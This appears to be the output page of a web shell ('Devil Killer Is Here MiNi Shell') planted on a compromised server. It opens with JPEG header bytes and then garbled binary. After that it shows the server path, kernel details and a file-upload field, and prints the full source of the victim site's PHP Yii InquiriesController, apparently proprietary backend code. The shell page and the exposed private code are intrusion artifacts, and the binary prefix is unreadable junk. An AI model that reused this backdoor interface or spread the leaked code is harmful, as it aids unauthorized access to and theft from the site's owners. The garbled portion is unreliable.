JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/InquiriesController.php

<?php

namespace backend\controllers;

use Yii;
use yii\helpers\ArrayHelper;
use common\models\Inquiries;
use common\models\InquiriesAttachments;
use common\models\CompaniesCategories;
use common\models\ProductsCategories;
use common\models\types\InquiryStatus;
use common\models\types\InquiryType;
use common\models\types\Status;
use backend\models\InquiriesSearch;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;
use yii\filters\AccessControl;
use backend\models\CompaniesSearch;
use backend\models\ProductsSearch;
use common\models\Companies;
use common\models\Products;
use common\models\CompaniesPresentations;
use common\models\CompaniesPresentationsHasRegions;
use common\models\Regions;
use common\models\InquiriesShipping;
use yii\data\ActiveDataProvider;

/**
 * InquiriesController implements the CRUD actions for Inquiries model.
 */
class InquiriesController extends Controller
{
    use \backend\components\traits\ControllerFunctions;
    
    /**
     * @inheritdoc
     */
    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    [
                        'allow' => true, 
                        'actions' => ['companies-categories-tree', 'products-categories-tree', 'bookstore-categories-tree', 'items-companies-list', 'items-products-list', 'items-books-list'], 
                        'roles' => ['updateInquiries', 'updateInquiriesFromTenders', 'createInquiries']
                    ],
                    [
                        'allow' => true, 
                        'actions' => ['create', 'users-list', 'companies-list', 'get-sender-data'], 
                        'roles' => ['createInquiries']
                    ],
                    ['allow' => true, 'actions' => ['delete', 'reject'], 'roles' => ['deleteInquiries']],
                    ['allow' => true, 'actions' => ['accept', 'cancel'], 'roles' => ['acceptInquiries']],
                    ['allow' => true, 'actions' => ['stop', 'resume'], 'roles' => ['stopInquiries']],
                    ['allow' => true, 'actions' => ['index', 'view', 'update', 'create-attachment', 'update-attachment', 'delete-attachment', 'get-attachment'], 'roles' => ['@']],
                ]
            ]
        ];
    }

    /**
     * Lists all Inquiries models.
     * @return mixed
     */
    public function actionIndex()
    {
        $queryParams = Yii::$app->request->queryParams;
          
        if(Yii::$app->user->can('indexInquiries')) {
            Yii::$app->params['activeMenuItem'] = 'inquiries-all';
        } elseif(Yii::$app->user->can('indexOwnInquiries')) {
            $idCompany = isset($queryParams['InquiriesSearch']['id_company']) ? intval($queryParams['InquiriesSearch']['id_company']) : 0;
            $idUser = isset($queryParams['InquiriesSearch']['id_user']) ? intval($queryParams['InquiriesSearch']['id_user']) : 0;
            $modelManagedCompany = Yii::$app->session->get('managedCompany');
            if($modelManagedCompany->id_company === $idCompany && $modelManagedCompany->id_user === Yii::$app->user->id) {
                Yii::$app->params['activeMenuItem'] = 'inquiries-companies';
            } elseif($idUser === Yii::$app->user->id) {
                $queryParams['InquiriesSearch']['onlyPrivate'] = 1;
                Yii::$app->params['activeMenuItem'] = 'inquiries-private';
            } else {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }            
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $searchModel = new InquiriesSearch();
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }

    /**
     * Displays a single Inquiries model.
     * @param integer $id
     * @return mixed
     */
    public function actionView($id)
    {
        $model = $this->findModel($id);
        
        if(Yii::$app->user->can('viewInquiries')) {
            Yii::$app->params['activeMenuItem'] = 'inquiries-all'; 
        } elseif(Yii::$app->user->can('viewOwnInquiries', ['model' => $model])) {
            $modelManagedCompany = Yii::$app->session->get('managedCompany');
            if(!empty($modelManagedCompany) && $modelManagedCompany->id_company === $model->id_company && $modelManagedCompany->id_user === Yii::$app->user->id) {
                Yii::$app->params['activeMenuItem'] = 'inquiries-companies'; 
            } else {
                Yii::$app->params['activeMenuItem'] = 'inquiries-private';
            }
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        list($selectedItems, $selectedCategories) = $this->getSelectedDataFromInquiry($model);
                
        $filters = $model->getFilters();
        if(!empty($filters['regions'])) {
            $filterByRegions = Regions::find()->select(['name'])->where(['id_country' => 'PL', 'id_region' => $filters['regions']])->orderBy('name')->column();
        } else {
            $filterByRegions = [];
        }
        
        $modelInquiryRejectForm = new \backend\models\InquiryRejectForm();
        $modelInquiryRejectForm->id_inquiry = $model->id_inquiry;
        
        return $this->render('view', [
            'model' => $model,
            'selectedItems' => $selectedItems,
            'selectedCategories' => $selectedCategories,
            'filterByRegions' => $filterByRegions,
            'modelInquiryRejectForm' => $modelInquiryRejectForm
        ]);
    }
    
    protected function getSelectedDataFromInquiry($modelInquiry)
    {
        $dataItems = $modelInquiry->getItems();
        $dataCategories = $modelInquiry->getCategories();
        $selectedItems = $selectedCategories = [];
        $type = $modelInquiry->inquiry_type;
        
        if($type === InquiryType::COMPANIES) {
            if(!empty($dataItems)) {
                $companies = Companies::find()->select(['id_company', 'name'])->where(['id_company' => $dataItems, 'status' => Status::ACTIVE])->asArray()->all();
                if(!empty($companies)) {
                    foreach($companies as $company) {
                        $selectedItems[] = [
                            'id' => $company['id_company'],
                            'label' => $company['name']
                        ];
                    }
                }        
            }
            
            if(!empty($dataCategories)) {                
                $modelsCategories = CompaniesCategories::find()->where(['id_category' => $dataCategories])->all();
                if(!empty($modelsCategories)) {
                    foreach($modelsCategories as $modelCategory) {
                        $category = ['id' => $modelCategory->id_category];
                        if($modelCategory->depth > 1) {
                            $modelsCategoriesPath = CompaniesCategories::getCategoryPath($modelCategory);
                            $category['label'] = '';
                            foreach($modelsCategoriesPath as $key => $modelCategoryPath) {
                                if($key !== 1) {
                                    $category['label'] .= ' &raquo; ';
                                }
                                $category['label'] .= $modelCategoryPath->name;
                            } 
                        } else {
                            $category['label'] .= $modelCategory->name;
                        }
                        $selectedCategories[] = $category;
                    }
                }
            }
        } elseif($type === InquiryType::PRODUCTS) {
            if(!empty($dataItems)) {
                $products = Products::find()
                        ->select(['products.id_product', 'products.id_company', 'products.name', 'companies.name AS company_name'])
                        ->join('INNER JOIN', 'companies', 'companies.id_company = products.id_company')
                        ->where([
                            'products.id_product' => $dataItems, 
                            'products.status' => Status::ACTIVE
                        ])->asArray()
                        ->all();
                if(!empty($products)) {
                    foreach($products as $product) {
                        $selectedItems[] = [
                            'id' => $product['id_product'],
                            'label' => $product['name'],
                            'id_company' => $product['id_company'],
                            'company_name' => $product['company_name']
                        ];
                    }
                }        
            }

            if(!empty($dataCategories)) {
                $modelsCategories = ProductsCategories::find()->where(['id_category' => $dataCategories])->all();
                if(!empty($modelsCategories)) {
                    foreach($modelsCategories as $modelCategory) {
                        $category = ['id' => $modelCategory->id_category];
                        if($modelCategory->depth > 1) {
                            $modelsCategoriesPath = ProductsCategories::getCategoryPath($modelCategory);
                            $category['label'] = '';
                            foreach($modelsCategoriesPath as $key => $modelCategoryPath) {
                                if($key !== 1) {
                                    $category['label'] .= ' &raquo; ';
                                }
                                $category['label'] .= $modelCategoryPath->name;
                            } 
                        } else {
                            $category['label'] .= $modelCategory->name;
                        }
                        $selectedCategories[] = $category;
                    }
                }
            }
        } elseif($type === InquiryType::BOOKSTORE) {
            if(!empty($dataItems)) {
                $books = \common\models\Books::find()
                        ->select(['books.id_book', 'books.id_company', 'books.title', 'companies.name AS company_name'])
                        ->join('INNER JOIN', 'companies', 'companies.id_company = books.id_company')
                        ->where([
                            'books.id_book' => $dataItems
                        ])->asArray()
                        ->all();
                if(!empty($books)) {
                    foreach($books as $book) {
                        $selectedItems[] = [
                            'id' => $book['id_book'],
                            'label' => $book['title'],
                            'id_company' => $book['id_company'],
                            'company_name' => $book['company_name']
                        ];
                    }
                }        
            }

            if(!empty($dataCategories)) {
                $categoriesPathes = \common\models\BookstoreCategories::getCategoriesPathes($dataCategories);
                if(!empty($categoriesPathes)) {
                    foreach($categoriesPathes as $idCategory => $categoryPath) {
                        $selectedCategories[] = [
                            'id' => (int)$idCategory, 
                            'label' => $categoryPath
                        ];
                    }
                }
            }
        }
        
        return [$selectedItems, $selectedCategories];
    }
    
    /**
     * Creates a new Inquiries model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreate($id)
    {        
        $modelPortal = \common\models\Portals::findOne($id);
        if(empty($modelPortal)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        Yii::$app->params['activeMenuItem'] = 'inquiries-all';         
        
        $model = new \backend\models\Inquiries(['scenario' => 'create-on-behalf-of-user', 'inquiry_source' => \common\models\types\InquirySource::ADMIN_PANEL]);
        $model->id_portal = $modelPortal->id_portal;
        $model->id_country = 'PL';
        
        $outputParams = [
            'model' => $model,
            'modelPortal' => $modelPortal
        ];
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {          
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model);
        }
        
        if(Yii::$app->request->getIsPost()) { 
//            var_dump($_POST); exit;
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', $outputParams);
            }
            
            $model->id_portal = $modelPortal->id_portal;
            
            $transaction = Yii::$app->db->beginTransaction();
            
            if(!$model->validate()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('create', $outputParams);
            }
           
            $flag = $model->save(false);
            $flag = $flag && $model->saveAttachments();            
            
            if($flag) {
//                $operatorsLogins = ['vm_lukasz'];
//                if(!empty($modelPortal->id_user)) {
//                    $operatorsLogins[] = $modelPortal->user->login;
//                }
//
//                $emails = \common\models\Users::find()
//                    ->select(['users_contact_data.data_value'])
//                    ->join('INNER JOIN', 'users_contact_data', 'users.id_user = users_contact_data.id_user')
//                    ->where([
//                        'users.login' => $operatorsLogins,
//                        'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
//                        'users_contact_data.required' => 1
//                    ])->column();
                
                if(!empty($modelPortal->id_user)) {
                    $emails = \common\models\Users::find()
                        ->select(['users_contact_data.data_value'])
                        ->join('INNER JOIN', 'users_contact_data', 'users.id_user = users_contact_data.id_user')
                        ->where([
                            'users.login' => $modelPortal->user->login,
                            'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
                            'users_contact_data.required' => 1
                        ])->column();
                } else {
                    $emails = [];
                }
                
                $systemEmails = !empty(Yii::$app->params['emailAddresses']['forNotifyAboutNewInquiry']) ? Yii::$app->params['emailAddresses']['forNotifyAboutNewInquiry'] : [];
                $emails = array_merge($emails, $systemEmails);                
                
                if(!empty($emails)) {
                    $emails = array_unique($emails);

                    //wysyłamy informację o złożeniu EZO do Łukasza oraz operatora danego portalu (###MAIL_48###)
                    $mailer = Yii::$app->mailer;
                    $mailer->htmlLayout = 'layouts/main-html';      
                    $mailer->textLayout = 'layouts/main-text'; 
                    $mailer->compose(
                        [
                            'html' => 'new-inquiry-html',
                            'text' => 'new-inquiry-text'
                        ],
                        [
                            'modelInquiry' => $model
                        ]
                    )
                    ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                    ->setTo($emails)
                    ->setSubject(Yii::t('common-mails', 'Nowe zapytanie na portalu {domain} [panel administracyjny]', ['domain' => $modelPortal->domain]))
                    ->send();
                }
            }
            
            if($flag) {                
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['view', 'id' => $model->id_inquiry]);
            } else {                
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('create', $outputParams);
    }
    
    public function actionGetSenderData()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        $idUser = Yii::$app->request->get('id_user');
        $idCompany = Yii::$app->request->get('id_company');
        
        $senderData = [];
            
        $modelUser = $modelCompany = null;            
        if(!empty($idCompany)) {
            $modelCompany = \common\models\Companies::find()
                ->with(['invoicingData' => function($q) { $q->where(['or_main' => 1]); }])
                ->where(['id_company' => $idCompany])
                ->one();
        }

        if(!empty($modelCompany)) {
            $modelUser = $modelCompany->getUser()->with(['addresses'])->one();
        } else {
            $modelUser = \common\models\Users::find()
                ->with(['addresses'])
                ->where(['id_user' => $idUser])
                ->one();
        }

        if(!empty($modelUser)) {
            $senderData['forename'] = $modelUser->forename;
            $senderData['surname'] = $modelUser->surname;

            $senderData = $senderData + $this->getSenderDataAddress($modelUser, $modelCompany);
            $senderData = $senderData + $this->getSenderDataContactData($modelUser, $modelCompany);
        }

        if(!empty($modelCompany)) {
            $senderData = $senderData + $this->getSenderDataCompanyData($modelCompany);
        }

        return $senderData;
    }
    
    protected function getSenderDataAddress($modelUser, $modelCompany)
    {
        if(empty($modelUser->addresses) && empty($modelCompany)) {
            return [];            
        }
        
        $outputData = [];
        
        if(!empty($this->id_company) && !empty($modelCompany)) {
            $outputData = [
                'id_country' => $modelCompany->id_country,
                'region' => $modelCompany->region,
                'locality' => $modelCompany->locality,
                'postcode' => $modelCompany->postcode,
                'street' => $modelCompany->street,
                'building_number' => $modelCompany->building_number,
                'apartment_number' => $modelCompany->apartment_number
            ];
        } elseif(!empty($modelUser->addresses)) {
            $modelAddress = null;
        
            foreach($modelUser->addresses as $modelUserAddress) {
                if($modelUserAddress->or_main === 1) {
                    $modelAddress = $modelUserAddress;
                    break;
                }
            }

            if(empty($modelAddress)) {
                $modelAddress = $modelUser->addresses[0];
            }
            
            $outputData = [
                'id_country' => $modelAddress->id_country,
                'region' => $modelAddress->region,
                'locality' => $modelAddress->locality,
                'postcode' => $modelAddress->postcode,
                'street' => $modelAddress->street,
                'building_number' => $modelAddress->building_number,
                'apartment_number' => $modelAddress->apartment_number
            ];
        } elseif(!empty($modelCompany)) {
            $outputData = [
                'id_country' => $modelCompany->id_country,
                'region' => $modelCompany->region,
                'locality' => $modelCompany->locality,
                'postcode' => $modelCompany->postcode,
                'street' => $modelCompany->street,
                'building_number' => $modelCompany->building_number,
                'apartment_number' => $modelCompany->apartment_number
            ];
        }
        
        return $outputData;
        
    }
    
    protected function getSenderDataContactData($modelUser, $modelCompany)
    {
        $modelsUserContactData = $modelUser->getContactData()->orderBy('data_order ASC')->all();
        $modelsCompanyContactData = !empty($modelCompany) ? $modelCompany->getContactData()->orderBy('data_order ASC')->all() : [];        
        if(empty($modelsUserContactData) && empty($modelsCompanyContactData)) {
            return [];            
        }
        
        $firstEmail = $secondEmail = $firstPhone = $secondPhone = $fb = $skype = '';
        
        if(empty($this->id_company)) {        
            foreach($modelsUserContactData as $modelUserContactData) {
                if($modelUserContactData->data_type === \common\models\types\ContactDataType::EMAIL) {
                    if(empty($firstEmail) && $modelUserContactData->required === 1) {
                        $firstEmail = $modelUserContactData->data_value;
                    }
                } elseif($modelUserContactData->data_type === \common\models\types\ContactDataType::MOBILE_PHONE) {
                    if(empty($firstPhone) && $modelUserContactData->required === 1) {
                        $firstPhone = $modelUserContactData->data_value;
                    }
                }
            }
            
            foreach($modelsUserContactData as $modelUserContactData) {
                switch($modelUserContactData->data_type) {
                    case \common\models\types\ContactDataType::EMAIL:
                        if(empty($firstEmail)) {
                            $firstEmail = $modelUserContactData->data_value;
                        } elseif(empty($secondEmail) && $firstEmail !== $modelUserContactData->data_value) {
                            $secondEmail = $modelUserContactData->data_value;
                        }
                        break;
                    case \common\models\types\ContactDataType::MOBILE_PHONE:
                    case \common\models\types\ContactDataType::PHONE:
                        if(empty($firstPhone)) {
                            $firstPhone = $modelUserContactData->data_value;
                        } elseif(empty($secondPhone) && $firstPhone !== $modelUserContactData->data_value) {
                            $secondPhone = $modelUserContactData->data_value;
                        }
                        break;
                    case \common\models\types\ContactDataType::FACEBOOK:
                        if(empty($fb)) {
                            $fb = $modelUserContactData->data_value;
                        }
                        break;
                    case \common\models\types\ContactDataType::SKYPE:
                        if(empty($skype)) {
                            $skype = $modelUserContactData->data_value;
                        }
                        break;
                }
            }
        } elseif(!empty($modelsCompanyContactData)) {            
            foreach($modelsCompanyContactData as $modelCompanyContactData) {
                switch($modelCompanyContactData->data_type) {
                    case \common\models\types\ContactDataType::EMAIL:
                        if(empty($firstEmail)) {
                            $firstEmail = $modelCompanyContactData->data_value;
                        } elseif(empty($secondEmail) && $firstEmail !== $modelCompanyContactData->data_value) {
                            $secondEmail = $modelCompanyContactData->data_value;
                        }
                        break;
                    case \common\models\types\ContactDataType::MOBILE_PHONE:
                    case \common\models\types\ContactDataType::PHONE:
                        if(empty($firstPhone)) {
                            $firstPhone = $modelCompanyContactData->data_value;
                        } elseif(empty($secondPhone) && $firstPhone !== $modelCompanyContactData->data_value) {
                            $secondPhone = $modelCompanyContactData->data_value;
                        }
                        break;
                    case \common\models\types\ContactDataType::FACEBOOK:
                        if(empty($fb)) {
                            $fb = $modelCompanyContactData->data_value;
                        }
                        break;
                    case \common\models\types\ContactDataType::SKYPE:
                        if(empty($skype)) {
                            $skype = $modelCompanyContactData->data_value;
                        }
                        break;
                }
            }
            
            if(empty($firstEmail)) {
                foreach($modelsUserContactData as $modelUserContactData) {
                    if($modelUserContactData->data_type !== \common\models\types\ContactDataType::EMAIL) {
                        continue;
                    }                    
                    if($modelUserContactData->required === 1) {
                        $firstEmail = $modelUserContactData->data_value;
                        break;
                    }
                }
            }
            if(empty($firstEmail)) {
                foreach($modelsUserContactData as $modelUserContactData) {
                    if($modelUserContactData->data_type !== \common\models\types\ContactDataType::EMAIL) {
                        continue;
                    }                    
                    $firstEmail = $modelUserContactData->data_value;
                    break;
                }
            }
            if(empty($firstPhone)) {
                foreach($modelsUserContactData as $modelUserContactData) {
                    if($modelUserContactData->data_type !== \common\models\types\ContactDataType::MOBILE_PHONE) {
                        continue;
                    }                    
                    if($modelUserContactData->required === 1) {
                        $firstPhone = $modelUserContactData->data_value;
                        break;
                    }
                }
            }
            if(empty($firstPhone)) {
                foreach($modelsUserContactData as $modelUserContactData) {
                    if($modelUserContactData->data_type !== \common\models\types\ContactDataType::MOBILE_PHONE && $modelUserContactData->data_type !== \common\models\types\ContactDataType::PHONE) {
                        continue;
                    }                    
                    $firstPhone = $modelUserContactData->data_value;
                    break;
                }
            }
        }        
        
        return [
            'email_1' => $firstEmail,
            'phone_1' => $firstPhone,            
            'email_2' => $secondEmail,
            'phone_2' => $secondPhone,
            'fb' => $fb,
            'skype' => $skype
        ];
    }
    
    protected function getSenderDataCompanyData($modelCompany)
    {
        if(empty($modelCompany)) {
            return [];            
        }
        
        $fax = $www = $taxId = '';
        
        $modelsCompanyContactData = $modelCompany->getContactData()->orderBy('data_order ASC')->all(); 
        if(!empty($modelsCompanyContactData)) {
            foreach($modelsCompanyContactData as $modelCompanyContactData) {
                switch($modelCompanyContactData->data_type) {
                    case \common\models\types\ContactDataType::WWW:
                        if(empty($www)) {
                            $www = $modelCompanyContactData->data_value;
                        } 
                        break;
                    case \common\models\types\ContactDataType::FAX:
                        if(empty($fax)) {
                            $fax = $modelCompanyContactData->data_value;
                        } 
                        break;
                }
            }
        }

        if(!empty($modelCompany->invoicingData)) {
            $taxId = $modelCompany->invoicingData[0]->tax_id;
        }
        
        return [
            'company_name' => $modelCompany->name,
            'tax_id' => $taxId,            
            'fax' => $fax,
            'www' => $www
        ];
    }

    /**
     * Updates an existing Inquiries model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdate($id)
    {        
        $model = \backend\models\Inquiries::findOne($id);
        $model->setScenario('update');
        
        if($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        } elseif($model->status !== InquiryStatus::NEW_CREATED) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['view', 'id' => $model->id_inquiry]);
        }
      
        if(!Yii::$app->user->can('updateInquiries') && !(Yii::$app->user->can('updateInquiriesFromTenders') && !empty($model->id_tender))) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        Yii::$app->params['activeMenuItem'] = 'inquiries-all';
        
        list($selectedItems, $selectedCategories) = $this->getSelectedDataFromInquiry($model);
        
        $dataProviderAttachments = new ActiveDataProvider([
            'query' => $model->getAttachments()->orderBy('created_at'),
            'pagination' => false,
            'sort' => false
        ]);
        
        $outputParams = [
            'model' => $model,
            'selectedItems' => $selectedItems,
            'selectedCategories' => $selectedCategories,
            'dataProviderAttachments' => $dataProviderAttachments
        ];
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model);
        }
        
        if(Yii::$app->request->getIsPost()) { 
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('update', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            if(!$model->validate()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('update', $outputParams);
            }
           
            if($model->save(false)) {                
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['view', 'id' => $model->id_inquiry]);
            } else {                
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('update', $outputParams);
    }
    
    /**
     * Accept an existing Inquiries model.
     * If accept is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionAccept($id)
    {
        $model = $this->findModel($id);
        if($model->status !== InquiryStatus::NEW_CREATED) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $emailValidator = new \yii\validators\EmailValidator();
        
        $userEmail = null;
        
        if(!empty($model->sender_data['email_1'])) {            
            $userEmail = trim($model->sender_data['email_1']);
        } elseif(!empty($model->user)) {
            $userEmail = $model->user->getContactData()
                ->select('data_value')
                ->where([
                    'required' => 1,
                    'data_type' => \common\models\types\ContactDataType::EMAIL
                ])
                ->scalar();
            $userEmail = trim($userEmail);            
        }
        
        $smtpSettings = $model->portal->getSettingsKey('smtp_settings');
        if(empty($smtpSettings) || empty($userEmail) || !$emailValidator->validate($userEmail)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $model->id_inquiry]);
        }
        
        $model->status = InquiryStatus::ACCEPTED;
        
//        $inquiryData = json_decode($model->inquiry_data, true);
        $inquiryData = $model->inquiry_data; //#JSON-hack#
        $idsCompanies = [];        
        $selectedProductsByCompanies = [];
        $selectedBooksByCompanies = [];
        $manualSelectedCompanies = [];
        if($model->inquiry_type === InquiryType::COMPANIES) {
            if(!empty($inquiryData['items'])) {
                foreach($inquiryData['items'] as $item) {
                    $idCompany = intval($item);
                    $idsCompanies[$idCompany] = $idCompany;
                    $manualSelectedCompanies[$idCompany] = $idCompany;
                }
            }
            
            if(!empty($inquiryData['categories'])) {
                $idsCategories = [];
                $modelsCategories = \common\models\CompaniesCategories::find()
                        ->where([
                            'id_portal' => $model->id_portal,
                            'id_category' => $inquiryData['categories']
                        ])->all();
        
                if(!empty($modelsCategories)) {
                    foreach($modelsCategories as $modelCategory) {                        
                        if($modelCategory->right - $modelCategory->left !== 0) {                            
                            $idsCategoriesFromCategory = \common\models\CompaniesCategories::getIdsSelectedBranch($modelCategory);
                            if(!empty($idsCategoriesFromCategory)) {
                                $idsCategories = array_unique(array_merge($idsCategories, $idsCategoriesFromCategory));
                            }
                        }
                    }
                }
                
                if(!empty($idsCategories)) {
                    $ids = CompaniesPresentations::find()
                        ->select(['companies_presentations.id_company'])
                        ->join('INNER JOIN', 'companies_presentations_has_companies_categories', 'companies_presentations_has_companies_categories.id_presentation = companies_presentations.id_presentation')
